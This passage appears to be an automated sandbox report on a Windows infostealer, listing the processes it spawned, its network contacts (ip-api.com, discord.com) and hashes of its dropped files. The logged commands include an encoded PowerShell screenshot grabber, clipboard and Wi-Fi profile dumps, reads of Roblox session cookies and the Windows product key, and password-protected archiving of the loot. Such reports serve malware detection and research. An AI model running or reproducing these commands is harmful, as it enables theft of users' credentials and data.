C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r3aswgsw\r3aswgsw.cmdline"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4333.tmp" "c:\Users\Admin\AppData\Local\Temp\r3aswgsw\CSC713157A5B6E43B0BBFD2ED3DFCD667.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\DbB3B.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\DbB3B.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 blank-xeugs.in udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 73.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 233.128.159.162.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI21962\python310.dll

MD5 617c7f358a7744fa767ef52e5224c9ec
SHA1 6b8974308c1a734a5cfab590205d5135c216c54d
SHA256 67ce157f4e61ad163b773fa885620f4fad58793b7ca8b32e4cc38f1e6744b987
SHA512 25d3dc8eacb53284cfe1ef6f932606b6acc90fc5fac3157d6901e5cfa7f2ae8b06d87c73ba10516a43bb4f74c4e8cfd6ce8d3dfa7c65558e4705011288a4136b

C:\Users\Admin\AppData\Local\Temp\_MEI21962\VCRUNTIME140.dll

MD5 a87575e7cf8967e481241f13940ee4f7
SHA1 879098b8a353a39e16c79e6479195d43ce98629e
SHA256 ded5adaa94341e6c62aea03845762591666381dca30eb7c17261dd154121b83e
SHA512 e112f267ae4c9a592d0dd2a19b50187eb13e25f23ded74c2e6ccde458bcdaee99f4e3e0a00baf0e3362167ae7b7fe4f96ecbcd265cc584c1c3a4d1ac316e92f0

memory/3116-24-0x00007FFC549D0000-0x00007FFC54E33000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI21962\base_library.zip

MD5 2da5ada51d009282d7f8bf0d0390a6f9
SHA1 7677176798967841aabcc51746d60443f988a4dc
SHA256 a4d04c20ba9f88afe8f23c2ec8efe0a93ed638753ddcda989639e3283aa49961
SHA512 1a91d596dfd73a90fe3805d71c9b4db68268563cfb3d3070dabfa751a824d049094816c9136229d8b25c1de2fbd6463ddb97cef827f98edae3483337da2c5491

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_ctypes.pyd

MD5 9ca880ee43fb91437d19498793311c2f
SHA1 a475666edc3c18155669afdb9360f66f6267bbef
SHA256 5c885a972a841f14ccc6d81b942a5acb60df116e7b06ad8cb2385fc59a7fb18d
SHA512 d20fdf32e4e678a1c113e7896494bdae604838bee47f74168012ff5031fd852a88f3d9964226f8b5217ed38fdeee2ce666ea30f7ac842bf30e7f2e2702cafc83

C:\Users\Admin\AppData\Local\Temp\_MEI21962\libffi-7.dll

MD5 6f818913fafe8e4df7fedc46131f201f
SHA1 bbb7ba3edbd4783f7f973d97b0b568cc69cadac5
SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
SHA512 5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

memory/3116-32-0x00007FFC67D90000-0x00007FFC67D9F000-memory.dmp

memory/3116-31-0x00007FFC65FE0000-0x00007FFC66004000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI21962\blank.aes

MD5 28959f6308e498a17f88b738df977523
SHA1 92337b5816b8ede440ef8ca56107219c77a635e5
SHA256 00fbac620e085b7db6c5004a0b7358d24bb36c09a2f61f12f5a34b68a675ad90
SHA512 22f7600c13ab439b0654917b2c74527bb7bcd572464e9d4bd16903ef3295c7423f52cfd9773b1afa13765ea57f4743e2354fd2d24045da26554c7cd7d55407c5

C:\Users\Admin\AppData\Local\Temp\_MEI21962\libcrypto-1_1.dll

MD5 3cc020baceac3b73366002445731705a
SHA1 6d332ab68dca5c4094ed2ee3c91f8503d9522ac1
SHA256 d1aa265861d23a9b76f16906940d30f3a65c5d0597107ecb3d2e6d470b401bb8
SHA512 1d9b46d0331ed5b95dda8734abe3c0bd6f7fb1ec9a3269feab618d661a1644a0dc3bf8ac91778d5e45406d185965898fe87abd3261a6f7f2968c43515a48562c

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_ssl.pyd

MD5 e9f1e4e988ee39cc71b48eea7a63fb86
SHA1 b853dd38b4d97d435d59df3b2691dbab7dcae9ef
SHA256 d7def30d231d85044acbcf278bde64081efaccc44a885e7831512be70efd790f
SHA512 c7c6707fa0cb7b4033ac2310de62d8ffdc955f7f48d0a49886ce405166fb5edfd5f9f52e4048186637e0af6a9bc8653b7f0f00b968f447b193c275265e480101

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_sqlite3.pyd

MD5 557a3a3a76c8bbc792901b201b0318cf
SHA1 c69027bbd7460f0be4582329de768cc3c4317bb2
SHA256 2c0b99f214e2c6c7f2a7bb81e1ec7759039308b09ca6c4e5ffa246a6afd2ba9e
SHA512 cd55f0e84e752b4789114b6f1803c96882607bc49203c9f5b1a1bce7ab1576fbbd1313f60ce59d4c67ccdaa2f28d7a297294f3a3b23ed81f599c66b066144493

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_socket.pyd

MD5 8acf34fc59c9715defdd5c6dd9f22803
SHA1 73dac021792f590b32ddef5fd6707e4c26d5c1b3
SHA256 514d22b51327e6837edaec2a27761aca535da7dd55043ea3d4e2cb8bd7d52a61
SHA512 0932234e97a68dd5faf46a06f5aba6e85f7d2b1896606b55d8a87a9d1973961d3913a9ea1aa0b5742e9b489eafacc5f50a74b597d4edfcf6bbde5ddd94f16fa0

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_queue.pyd

MD5 d69381b02618505b6d2fdafb84a2686d
SHA1 7f28533d9c6141e72d17006e008e8ee5396f4940
SHA256 007d190306e9bf4a3ed0fbd3f46c45a716210f8b3e220f76e17d6ccf8631c00c
SHA512 72e4f5734361ed428fb2c308f4c8fecae20817ee81921939736b01836627a9edafdce0e121d00d9f5ede438717384e90ee8fa6d6f0bf92a2c17985bb016397ec

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_lzma.pyd

MD5 82ebacab21a375c90c2cc10a834d294b
SHA1 a066b0cbc5a8d7aab0ea78faa0785a1405abb23a
SHA256 138adc9f4a7e8cb239cdcce05af832b7e2527ed29de8e3f461c9900df8b2c404
SHA512 7f3b27f62d163126cbc23b3ac215ba9e5ebbf6769afc7d51d0db487f4b9ef9905a7180a25f6d5b80a033f1867ac6382842ce40791dd1404c8d46543bfb01cf0a

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_hashlib.pyd

MD5 bd72948920169b6f05b4f252b2d88460
SHA1 a830843f0b210fb3eaad7adcb764e2f124603b7d
SHA256 ae2964c42e590ad1d51837dd96b747619e3ed28f35172c517d7875f4381823e3
SHA512 0cc1de1673932af3050b870dd9bcf8c51379dfb6f66c1acce7c345531aaaacdd31b25b553c3e602b4cff0380232ff194572c9c3184fd1182c70843df44bdf56e

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_decimal.pyd

MD5 bc6649c56700e2969df45e3b590052cf
SHA1 8bec6d861811f02f14cc15d39a5f2f90b8428d02
SHA256 1384008ccd60cddcc839d3f7b0fc29bcaac3a8ad6edd9058488bd8ce21d695f8
SHA512 a965247291721d1eb873f2912f79197a4488055edbab4589648f8ee5358a2fc90d44a8544efba45331c5bb937bd4fa84181ffdf48ccb86ebcb205e2e2d53440a

C:\Users\Admin\AppData\Local\Temp\_MEI21962\_bz2.pyd

MD5 14f6cede9e0019d27c31eee3a915ef52
SHA1 573754df8bed96146ac30634df0729d06bf6a168
SHA256 b51492a7499cc557b8d3c055966a2fb5841b35fcb7ba9ba7e7d9b029a83ee44d
SHA512 a6673afd2fbed73961b222382e5e98a792b67ba67c552f771c4865345339a7952e6d468f039e4f8631f399e86b0ee920e9587a66fc1b8834c8628b9ac1e16a62

C:\Users\Admin\AppData\Local\Temp\_MEI21962\unicodedata.pyd

MD5 a44e3cc2bf01cc23cb5579b2ed9e72c6
SHA1 6cbc24b32ff828b0bf4061566aba1e284b474558
SHA256 5af3d3d89e0a6ba6cbae58791ec47778f2f98a0964f70d572bd91030165abb42
SHA512 5fdd0320f6d6884e71c768f10e6e606448c21ce75209e0c81cf9737596836e9af0914abf365d54b154a0f48e66f8d25ab9463baebe9110e1bf0d550838b77171

C:\Users\Admin\AppData\Local\Temp\_MEI21962\sqlite3.dll

MD5 fc6f37d7d90f3baacc483ef2dc6f0e05
SHA1 0c7a777afe00c9e21f408446e1b3e92cd59dbea9
SHA256 4d5b66f7f7b0912dc954f7ab917574da8c7904f3c13ec59e81894c22ffa88631
SHA512 74b2a9b0b4c43184f492d1a238dbf77ccca9ab29f7ab73ebf02419c66acd6952aa2318c50d3457d43ca6fe9f43957001f4b88fe9aec01be993b91189741fc85c

C:\Users\Admin\AppData\Local\Temp\_MEI21962\select.pyd

MD5 f7b1a9d9a01db7ccfe3e6aff5010af01
SHA1 45af84436b9c2aa6bb24b583b2b4915679ae3f3f
SHA256 ba793d571893b08eab1b8a250a4b7b91cb947bc7da7e44cc6aa719c5148f0cbd
SHA512 cfa67c55d55df0ff5b0aab2ea594a9210a7bfc67f11550733cf655cd9eaf6fdbe48e69c229edafd58931d5c61ad9fbf30f77f4d4e19d0a61992110627e0874c1

C:\Users\Admin\AppData\Local\Temp\_MEI21962\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI21962\libssl-1_1.dll

MD5 7f77a090cb42609f2efc55ddc1ee8fd5
SHA1 ef5a128605654350a5bd17232120253194ad4c71
